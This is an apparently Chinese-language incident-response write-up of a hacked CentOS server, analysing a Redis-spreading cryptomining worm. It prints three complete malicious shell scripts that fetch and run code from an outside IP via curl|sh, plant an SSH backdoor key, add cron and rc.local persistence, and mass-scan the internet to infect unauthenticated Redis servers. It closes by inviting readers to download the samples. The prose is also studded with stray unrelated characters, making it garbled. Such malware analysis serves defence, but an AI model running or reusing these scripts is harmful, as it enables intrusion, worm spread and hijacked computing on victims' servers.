一次Linux被入侵的排查過程

查找線索

服務(wù)器系統(tǒng) CentOS 6.X，部署了 Nginx买乃，Tomcat烈钞，Redis 等應(yīng)用夕玩，上來先把數(shù)據(jù)庫全備份到本地，然后 Top 命令看了一下弃衍，有 2 個 99% 的同名進(jìn)程還在運(yùn)行呀非，叫 gpg-agentd。

image

Google 了一下 GPG笨鸡，結(jié)果是：GPG 提供的 gpg-agent 提供了對 SSH 協(xié)議的支持姜钳，這個功能可以大大簡化密鑰的管理工作。

看起來像是一個很正經(jīng)的程序嘛形耗，但仔細(xì)再看看服務(wù)器上的進(jìn)程后面還跟著一個字母 d哥桥，偽裝的很好，讓人想起來 Windows 上各種看起來像 svchost.exe 的病毒激涤。

繼續(xù)排查：

ps eho command -p 23374netstat -pan | grep 23374

查看 pid：23374 進(jìn)程啟動路徑和網(wǎng)絡(luò)狀況拟糕，也就是來到了圖 1 的目錄，到此已經(jīng)找到了黑客留下的二進(jìn)制可執(zhí)行文件倦踢。

接下來還有 2 個問題在等著我：

文件是怎么上傳的送滞？
這個文件的目的是什么，或是黑客想干嘛辱挥？

History 看一下犁嗅，記錄果然都被清掉了，沒留下任何痕跡晤碘。繼續(xù)命令 more messages：

image

看到了在半夜 12 點左右褂微，在服務(wù)器上裝了很多軟件功蜓，其中有幾個軟件引起了我的注意，下面詳細(xì)講宠蚂。

邊找邊猜式撼，如果我們要做壞事，大概會在哪里做文章求厕，自動啟動著隆？定時啟動？對呀癣，計劃任務(wù)：

crontab -e

image

果然美浦，線索找到了。

作案動機(jī)

上面的計劃任務(wù)的意思就是每 15 分鐘去服務(wù)器上下載一個腳本十艾，并且執(zhí)行這個腳本抵代。

我們把腳本下載下來看一下：

curl -fsSL 159.89.190.243/ash.php > ash.sh

腳本內(nèi)容如下：

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
 redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

大致分析一下該腳本的主要用途：首先是關(guān)閉 SELinux，解除 Shell 資源訪問限制忘嫉，然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公鑰荤牍。

這樣每次黑客登錄這臺服務(wù)器就可以免密碼登錄了，執(zhí)行腳本就會方便很多庆冕。

接下來安裝 Bash康吵，最后是繼續(xù)下載第二個腳本 bsh.php，并且執(zhí)行访递。繼續(xù)下載并分析 bsh.pbp晦嵌，內(nèi)容如下：

sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

這段腳本的代碼比較長，但主要的功能有 4 個：

下載遠(yuǎn)程代碼到本地拷姿，添加執(zhí)行權(quán)限惭载，chmod u+x。
修改 rc.local响巢，讓本地代碼開機(jī)自動執(zhí)行描滔。
下載 Github 上的開源掃描器代碼，并安裝相關(guān)的依賴軟件踪古，也就是我上面的 Messages 里看到的記錄含长。
下載第三個腳本，并且執(zhí)行伏穆。

我去 Github 上看了下這個開源代碼拘泞，簡直吊炸天：

image

Transmitting 10 Million Packets Per Second(每秒發(fā)送 1000 萬個數(shù)據(jù)包)，比 nmap 速度還要快枕扫，這就不難理解為什么阿里云把服務(wù)器凍結(jié)了陪腌。

大概看了下 Readme 之后，我也沒有細(xì)究，繼續(xù)下載第三個腳本：

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果說前兩個腳本只是在服務(wù)器上下載執(zhí)行了二進(jìn)制文件偷厦，那這個腳本才真正顯示病毒的威力商叹。下面就來分析這個腳本。

一開始的修改系統(tǒng)環(huán)境沒什么好說的只泼，接下來的寫文件操作有點眼熟，如果用過 Redis 的人卵洗，應(yīng)該能猜到请唱，這里是對 Redis 進(jìn)行配置。

寫這個配置过蹂，自然也就是利用了 Redis 把緩存內(nèi)容寫入本地文件的漏洞十绑，結(jié)果就是用本地的私鑰去登陸被寫入公鑰的服務(wù)器了，無需密碼就可以登陸酷勺，也就是我們文章最開始的 /root/.ssh/authorized_keys本橙。

登錄之后就開始定期執(zhí)行計劃任務(wù)，下載腳本脆诉。好了甚亭，配置文件準(zhǔn)備好了，就開始利用 Masscan 進(jìn)行全網(wǎng)掃描 Redis 服務(wù)器击胜，尋找肉雞亏狰。

注意看這 6379 就是 Redis 服務(wù)器的默認(rèn)端口，如果你的 Redis 的監(jiān)聽端口是公網(wǎng) IP 或是 0.0.0.0偶摔，并且沒有密碼保護(hù)暇唾，不好意思，你就中招了辰斋。

總結(jié)

通過依次分析這 3 個腳本策州，就能看出這個病毒的可怕之處，先是通過寫入 ssh public key 拿到登錄權(quán)限宫仗，然后下載執(zhí)行遠(yuǎn)程二進(jìn)制文件够挂，最后再通過 Redis 漏洞復(fù)制，迅速在全網(wǎng)傳播锰什，以指數(shù)級速度增長下硕。

那么問題是，這臺服務(wù)器是怎么中招的呢汁胆？看了下 redis.conf梭姓，Bind 的地址是 127.0.0.1，沒啥問題嫩码。

由此可以推斷誉尖，應(yīng)該是 Root 帳號被暴力破解了，為了驗證我的想法铸题，我 Lastb 看了一下铡恕，果然有大量的記錄：

image

還剩最后一個問題琢感，這個 gpg-agentd 程序到底是干什么的呢？我當(dāng)時的第一個反應(yīng)就是礦機(jī)探熔，因為現(xiàn)在數(shù)字貨幣太火了驹针，加大了分布式礦機(jī)的需求，也就催生了這條灰色產(chǎn)業(yè)鏈诀艰。

于是柬甥，順手把這個 gpg-agentd 拖到 Ida 中，用 String 搜索 bitcoin其垄，eth苛蒲，mine 等相關(guān)單詞，最終發(fā)現(xiàn)了這個：

image

打開 nicehash.com 看一下绿满，一切都清晰了：

image

安全建議

服務(wù)器：

禁用 ROOT
用戶名和密碼盡量復(fù)雜
修改 SSH 的默認(rèn) 22 端口
安裝 DenyHosts 防暴力破解軟件
禁用密碼登錄臂外，使用 RSA 公鑰登錄

Redis：

禁用公網(wǎng) IP 監(jiān)聽，包括 0.0.0.0
使用密碼限制訪問 Redis
使用較低權(quán)限帳號運(yùn)行 Redis

到此喇颁，整個入侵過程基本分析完了漏健，如果大家對樣本有興趣，也可以自行去 Curl无牵，或是去虛擬機(jī)執(zhí)行上面的腳本漾肮。